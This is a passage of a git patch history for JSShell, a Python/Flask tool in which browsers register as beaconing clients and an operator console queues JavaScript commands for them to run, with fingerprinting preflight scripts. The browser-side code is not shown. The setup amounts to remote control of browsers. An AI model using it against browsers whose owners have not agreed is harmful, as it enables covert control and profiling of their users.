: dropTable, + 'dcl' : dropCreateList, + 'trunc' : truncateTable, + 'com' : createCommand + } + + parser = argparse.ArgumentParser(description='DB Handler') + parser.add_argument('action', choices=actions.keys()) + + + + args = parser.parse_args() + actions[args.action]() diff --git a/interact.py b/interact.py new file mode 100644 index 0000000..4935d77 --- /dev/null +++ b/interact.py @@ -0,0 +1,127 @@ +from app import app, db +from app.models import Client, Command +from prettytable import PrettyTable +from threading import Thread + +prompt = ">> " +selected_client = None + + +def error(text): + print("Error:", text) + + +def debug(text): + print("Debug:", text) + + +def clients_list(): + t = PrettyTable(['#', 'UUID', 'User-Agent', 'IP', 'Last Beacon']) + t.align = 'l' + for c in Client.query.all(): + t.add_row([c.id, c.client_id, c.user_agent, c.ip, c.last_beaconed]) + print(t) + + +def help_menu(): + t = PrettyTable(['command', 'description']) + t.align = 'l' + t.add_row(['list', 'Lists all the clients registered']) + t.add_row(['help', 'self.help()']) + t.add_row(['select ','Selected a specific client from the list']) + t.add_row(['exec ','Executes a command to the current selected client']) + t.add_row(['back','Detaches from the current client']) + t.add_row(['exit', 'Exists this interactive shell']) + t.add_row(['coms' , 'Displays the commands and output for the current client']) + print(t) + +def display_commands(): + if selected_client: + t = PrettyTable(['Command', 'Output']) + t.align = 'l' + client = Client.query.filter(Client.id==i).first() + for com in client.commands: + t.add_row([com.cmd, com.output]) + + print(t) + else: + error('You must select a client first.') + + +def execute_command(cmd): + if not selected_client: + error('A client must be selected in order to execute a command.') + return + + client = Client.query.filter_by(id=selected_client).first() + if not client: + return + + c = Command(cmd, '') + client.commands.append(c) + db.session.add(c) + db.session.commit() + print('Added task successfully.') + + +def select_client(client_id): + if not client_id.isdigit(): + error('ID must be an integer') + return + + i = int(client_id) + client = Client.query.filter_by(id=i).first() + if not client: + error('Client not found') + return + + prompt = "(Client {}) >> ".format(i) + selected_client = i + + +def check_results(): + while True: + if selected_client: + client = Client.query.filter(Client.id == i).first() + for cmd in client.commands: + if cmd.is_returned and not cmd.is_printed: + print('(Cmd {}) >> {}'.format(cmd.id, cmd.output)) + cmd.is_printed = True + db.session.commit() + +''' Main Function ''' +if __name__ == "__main__": + stay = True + + t = Thread(target=check_results, daemon=True) + t.start() + + while stay: + next_cmd = input(prompt) + + if next_cmd == 'list': + clients_list() + + elif next_cmd.startswith('select'): + _,_,client_id = next_cmd.partition(' ') + select_client(client_id) + + elif next_cmd.startswith('exec'): + _,_,cmd = next_cmd.partition(' ') + execute_command(cmd) + + elif next_cmd == 'coms': + display_commands() + + elif next_cmd == 'back': + prompt = ">> " + selected_client = None + + elif next_cmd == 'help': + help_menu() + + elif next_cmd == 'exit': + print('Goodbye!') + stay = False + + t.join() diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..566ad4f --- /dev/null +++ b/requirements.txt @@ -0,0 +1,15 @@ +click==6.7 +EditorConfig==0.12.1 +Flask==0.12 +Flask-SQLAlchemy==2.2 +gevent==1.2.1 +greenlet==0.4.12 +itsdangerous==0.24 +Jinja2==2.9.5 +jsbeautifier==1.6.11 +MarkupSafe==0.23 +prettytable==0.7.2 +pywsgi==0.9.0 +six==1.10.0 +SQLAlchemy==1.1.6 +Werkzeug==0.11.15 diff --git a/run.py b/run.py new file mode 100644 index 0000000..e425f34 --- /dev/null +++ b/run.py @@ -0,0 +1,16 @@ +from app import app +from gevent.pywsgi import WSGIServer +from gevent import monkey + +# need to patch sockets to make requests async +monkey.patch_all() + + +if __name__ == "__main__": + + print("Started gevent WSGI server") + # use gevent WSGI server instead of the Flask + + http = WSGIServer(('', 5000), app.wsgi_app) + # TODO gracefully handle shutdown + http.serve_forever() diff --git a/shell.py b/shell.py new file mode 100644 index 0000000..aae4369 --- /dev/null +++ b/shell.py @@ -0,0 +1,199 @@ +from app import app, db +from app.models import Client, Command +from prettytable import PrettyTable +# from threading import Thread +from time import sleep +from jsbeautifier import beautify + + +class InteractiveShell(object): + """ An interactive shell for the JSShell Project """ + def __init__(self): + self.stay = True + self.prompt = '>> ' + self.current_client_id = 0 + + def error(self, text): + """ Error print statement """ + print('Error:',text) + + def client_required(foo): + """ A Decorator to determine whether a client is currently selected or not. """ + def wrap(self, *args, **kwargs): + if self.current_client_id and Client.query.filter_by(id=self.current_client_id): + foo(self, *args, **kwargs) + else: + self.error('Client is required for this function.') + return wrap + + def list_clients(self): + """ Lists all the clients available """ + t = PrettyTable(['#', 'UUID', 'User-Agent', 'IP', 'Last Beacon']) + t.align = 'l' + for c in Client.query.all(): + t.add_row([c.id, c.client_id, c.user_agent, c.ip, c.last_beaconed]) + print(t) + + def help_menu(self): + """ Prints a pretty help menu """ + t = PrettyTable(['command', 'description']) + t.align = 'l' + t.add_row(['list', 'Lists all the clients registered']) + t.add_row(['help', 'self.help()']) + t.add_row(['select ', 'Selected a specific client from the list']) + t.add_row(['', 'Executes a command to the current selected client']) + t.add_row(['back', 'Detaches from the current client']) + t.add_row(['exit', 'Exists this interactive shell']) + t.add_row(['coms', 'Displays the commands and output for the current client']) + t.add_row(['com ', 'Displays a specific command and output for the current client']) + t.add_row(['comk', 'Kills a command ("*" for all)']) + t.add_row(['clik', 'Kills a client ("*" for all)']) + print(t) + + def select_client(self, selected_id): + """ Selected a client by ID """ + if not selected_id.isdigit(): + self.error('Selected ID must be an integer from the list.') + return + + i = int(selected_id) + client = Client.query.filter_by(id=i).first() + if not client: + self.error('Selected ID does not exists.') + return + + self.prompt = '(Client {}) >> '.format(i) + self.current_client_id = i + + def back(self): + """ Detaches from a client """ + self.prompt = '>> ' + self.current_client_id = 0 + + @client_required + def execute_command(self, cmd): + """ Executes a command on a client """ + client = Client.query.filter_by(id=self.current_client_id).first() + c = Command(cmd) + client.commands.append(c) + db.session.add(c) + db.session.commit() + print('Added task successfully.') + + + @client_required + def display_commands(self, com_id = None): + """ Displays all the commands executed on a client """ + if com_id: + com = Command.query.filter_by(id=com_id).first() + if com: + print('(Command {}) : \n{}'.format(com.id, beautify(com.cmd))) + print('(Output {}) : \n{}'.format(com.id, beautify(com.output))) + else: + self.error('Command ID does not exists') + return + + t = PrettyTable(['ID', 'Command', 'Output']) + t.align = 'l' + client = Client.query.filter_by(id=self.current_client_id).first() + for com in client.commands: + command, output = com.cmd,com.output + if len(com.output) > 75: + output = com.output[:73] + '...' + + if len(com.cmd) > 75: + command = com.cmd[:73] + '...' + + t.add_row([com.id, command, output]) + + print(t) + + def watch_for_commands(self): + """ A thread that will watch for incoming commands and print them """ + while True: + if not self.current_client_id: + continue + + client = Client.query.filter_by(id=self.current_client_id).first() + if not client: + continue + + com = client.get_printable() + if not com: + continue + + print('(Command {}) >> {}'.format(com.id, com.output)) + com.is_printed = True + db.session.commit() + sleep(1) + + @client_required + def command_kill(self, command_id): + """ Kills a specific command for a client and removes it from the DB """ + if command_id == '*': + Command.query.filter_by(rel_client_id=self.current_client_id).delete() + else: + Command.query.filter_by(id=command_id).delete() + db.session.commit() + + def client_kill(self, client_id): + """ Kills a specific client and removes it from the DB """ + if client_id == '*': + Client.query.delete() + else: + Client.query.filter_by(id=client_id).delete() + db.session.commit() + + def loop(self): + """ The main loop for the class """ + + print(""" + ╦╔═╗╔═╗┬ ┬┌─┐┬ ┬ + ║╚═╗╚═╗├─┤├┤ │ │ + ╚╝╚═╝╚═╝┴ ┴└─┘┴─┘┴─┘ + By @Daniel_Abeles + """) + + while self.stay: + op,_,tail = input(self.prompt).strip().partition(' ') + + if op == 'exit': + print('Goodbye!') + self.stay = False + # t.join() + + elif op == 'help': + self.help_menu() + + elif op == 'list': + self.list_clients() + + elif op == 'select': + self.select_client(tail) + + elif op == 'back': + self.back() + + elif op == 'com': + self.display_commands(tail) + + elif op == 'coms': + self.display_commands() + + elif op == 'comk': + self.command_kill(tail) + + elif op == 'clik': + self.client_kill(tail) + + elif op == '': + continue + + else: + self.execute_command(' '.join([op, tail])) + + +if __name__ == "__main__": + + ints = InteractiveShell() + ints.loop() From 506d9a0e5d7e394b37035eba07f3f1161a5f563e Mon Sep 17 00:00:00 2001 From: dabeles Date: Mon, 6 Mar 2017 08:55:44 +0200 Subject: [PATCH 14/31] Deleted db --- app/application.db | Bin 77824 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 app/application.db diff --git a/app/application.db b/app/application.db deleted file mode 100644 index 2e18c02a28d6e0acd3792508c84f98a2af6486e2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 77824 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 F{|C*P6NCT& From 235621e2e981b579eef40fa165cc22101b1a8166 Mon Sep 17 00:00:00 2001 From: dabeles Date: Mon, 6 Mar 2017 08:56:44 +0200 Subject: [PATCH 15/31] Deleted old interact --- interact.py | 127 ---------------------------------------------------- 1 file changed, 127 deletions(-) delete mode 100644 interact.py diff --git a/interact.py b/interact.py deleted file mode 100644 index 4935d77..0000000 --- a/interact.py +++ /dev/null @@ -1,127 +0,0 @@ -from app import app, db -from app.models import Client, Command -from prettytable import PrettyTable -from threading import Thread - -prompt = ">> " -selected_client = None - - -def error(text): - print("Error:", text) - - -def debug(text): - print("Debug:", text) - - -def clients_list(): - t = PrettyTable(['#', 'UUID', 'User-Agent', 'IP', 'Last Beacon']) - t.align = 'l' - for c in Client.query.all(): - t.add_row([c.id, c.client_id, c.user_agent, c.ip, c.last_beaconed]) - print(t) - - -def help_menu(): - t = PrettyTable(['command', 'description']) - t.align = 'l' - t.add_row(['list', 'Lists all the clients registered']) - t.add_row(['help', 'self.help()']) - t.add_row(['select ','Selected a specific client from the list']) - t.add_row(['exec ','Executes a command to the current selected client']) - t.add_row(['back','Detaches from the current client']) - t.add_row(['exit', 'Exists this interactive shell']) - t.add_row(['coms' , 'Displays the commands and output for the current client']) - print(t) - -def display_commands(): - if selected_client: - t = PrettyTable(['Command', 'Output']) - t.align = 'l' - client = Client.query.filter(Client.id==i).first() - for com in client.commands: - t.add_row([com.cmd, com.output]) - - print(t) - else: - error('You must select a client first.') - - -def execute_command(cmd): - if not selected_client: - error('A client must be selected in order to execute a command.') - return - - client = Client.query.filter_by(id=selected_client).first() - if not client: - return - - c = Command(cmd, '') - client.commands.append(c) - db.session.add(c) - db.session.commit() - print('Added task successfully.') - - -def select_client(client_id): - if not client_id.isdigit(): - error('ID must be an integer') - return - - i = int(client_id) - client = Client.query.filter_by(id=i).first() - if not client: - error('Client not found') - return - - prompt = "(Client {}) >> ".format(i) - selected_client = i - - -def check_results(): - while True: - if selected_client: - client = Client.query.filter(Client.id == i).first() - for cmd in client.commands: - if cmd.is_returned and not cmd.is_printed: - print('(Cmd {}) >> {}'.format(cmd.id, cmd.output)) - cmd.is_printed = True - db.session.commit() - -''' Main Function ''' -if __name__ == "__main__": - stay = True - - t = Thread(target=check_results, daemon=True) - t.start() - - while stay: - next_cmd = input(prompt) - - if next_cmd == 'list': - clients_list() - - elif next_cmd.startswith('select'): - _,_,client_id = next_cmd.partition(' ') - select_client(client_id) - - elif next_cmd.startswith('exec'): - _,_,cmd = next_cmd.partition(' ') - execute_command(cmd) - - elif next_cmd == 'coms': - display_commands() - - elif next_cmd == 'back': - prompt = ">> " - selected_client = None - - elif next_cmd == 'help': - help_menu() - - elif next_cmd == 'exit': - print('Goodbye!') - stay = False - - t.join() From bd5dd13435a638b9cb8ae2794c08d82f44a6789b Mon Sep 17 00:00:00 2001 From: dabeles Date: Mon, 6 Mar 2017 08:57:58 +0200 Subject: [PATCH 16/31] Added run --- run.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/run.py b/run.py index e425f34..2e17575 100644 --- a/run.py +++ b/run.py @@ -5,12 +5,10 @@ # need to patch sockets to make requests async monkey.patch_all() - if __name__ == "__main__": - print("Started gevent WSGI server") + print("Started JSShell server ...") # use gevent WSGI server instead of the Flask http = WSGIServer(('', 5000), app.wsgi_app) - # TODO gracefully handle shutdown http.serve_forever() From 6b1e6e06ca68eb8f80b391e66fd30b734a823256 Mon Sep 17 00:00:00 2001 From: dabeles Date: Mon, 6 Mar 2017 09:00:28 +0200 Subject: [PATCH 17/31] Added preflight scripts --- app/config.py | 4 ---- app/preflight_scripts.py | 5 ++--- 2 files changed, 2 insertions(+), 7 deletions(-) diff --git a/app/config.py b/app/config.py index fdb266f..42d1909 100644 --- a/app/config.py +++ b/app/config.py @@ -4,9 +4,7 @@ class Config(object): Configuration base, for all environments. """ DEBUG = False - TESTING = False DATABASE_URI = 'sqlite:///application.db' - BOOTSTRAP_FONTAWESOME = True SECRET_KEY = "LKHSDNIOUTY&*(^87bv6*&BGSUYDS" CSRF_ENABLED = True SQLALCHEMY_TRACK_MODIFICATIONS = True @@ -18,5 +16,3 @@ class DevelopmentConfig(Config): DEBUG = True SQLALCHEMY_DATABASE_URI = 'sqlite:///application.db' -class TestingConfig(Config): - TESTING = True \ No newline at end of file diff --git a/app/preflight_scripts.py b/app/preflight_scripts.py index 7576fd7..08bfaaa 100644 --- a/app/preflight_scripts.py +++ b/app/preflight_scripts.py @@ -1,7 +1,6 @@ pf_scripts = [ + "var test=12;test" "window", - "window.document", - "var l = {\"availHeight\" : window.screen.availHeight,\"availLeft\" : window.screen.availLeft,\"availTop\" : window.screen.availTop, \"availWidth\" : window.screen.availWidth, \"colorDepth\": window.screen.colorDepth, \"height\" : window.screen.height, \"orientation\" : window.screen.orientation, \"ScreenOrientation\" : window.screen.ScreenOrientation, \"pixelDepth\" : window.screen.pixelDepth, \"width\" : window.screen.width};l", - "var l = [];for(var i=0;i Date: Mon, 6 Mar 2017 09:27:45 +0200 Subject: [PATCH 18/31] Update README.md --- README.md | 83 +++++++++++++++++++++++++++++++++++++++++++------------ 1 file changed, 66 insertions(+), 17 deletions(-) diff --git a/README.md b/README.md index 1eb6d48..44992c4 100644 --- a/README.md +++ b/README.md @@ -1,23 +1,72 @@ -JSShell -======= -An interactive multi-user web based shell written in Python with Flask (for server side) and of course Javascript and HTML (client side). +# JSShell -Author ------- +An interactive multi-user web based shell written in Python with Flask (for server side) and of course Javascript and HTML (client side). It was initally created in order to debug remote isoteric browsers during tests and research. I am well aware of other purposes this tool might serve, use it at your own responabilty and risk. + +## Author Daniel Abeles. -Installation ------------ -TODO +## Installation +It is recommended to use a virtual environment (I used python 3.6, but eariler work just fine): +### Pyenv +```python +pyenv virtualenv -p python3.6 venv +pyenv activate venv +``` + +### virtualenv +```python +virtualenv -p python3.6 venv +``` +```bash +source venv/bin/activate +``` + +### For both +```python +pip install -r requirements.txt +``` + +## Features +* Multi client support +* Cyclic DOM objects support +* Pre flight scripts +* Command queue +* Command Context + +## Running +1. Start the server (at the background): +```python +python run.py +``` +2. Navigate with a browser to the server address +3. Open the interactive shell +```python +python shell.py +``` +### Usage +The shell interface contains various commands (can be reavealed using the `help` command). +```python + ╦╔═╗╔═╗┬ ┬┌─┐┬ ┬ + ║╚═╗╚═╗├─┤├┤ │ │ + ╚╝╚═╝╚═╝┴ ┴└─┘┴─┘┴─┘ + By @Daniel_Abeles + +>> help -Features --------- -TODO +list | Lists all the clients registered +help | self.help() +select | Selected a specific client from the list + | Executes a command to the current selected client +back | Detaches from the current client +exit | Exists this interactive shell +coms | Displays the commands and output for the current client +com | Displays a specific command and output for the current client +comk | Kills a command ("*" for all) +clik | Kills a client ("*" for all) -Running -------- -TODO +``` +Utilizing a command queue, you can fire mutliple commands and the client will execute them one by one. +All the commands are executed using a single context, so you issue mutiple related commands. -Credits -------- -TODO +## Credits +[Canop](https://github.com/Canop) for [JSON.prune](https://github.com/Canop/JSON.prune/) From f448cc979c919f502a9de2912889ad22fc1c3b96 Mon Sep 17 00:00:00 2001 From: Den1al Date: Mon, 6 Mar 2017 09:31:20 +0200 Subject: [PATCH 19/31] Update README.md --- README.md | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 44992c4..e591a4b 100644 --- a/README.md +++ b/README.md @@ -65,8 +65,22 @@ comk | Kills a command ("*" for all) clik | Kills a client ("*" for all) ``` -Utilizing a command queue, you can fire mutliple commands and the client will execute them one by one. +Utilizing the command 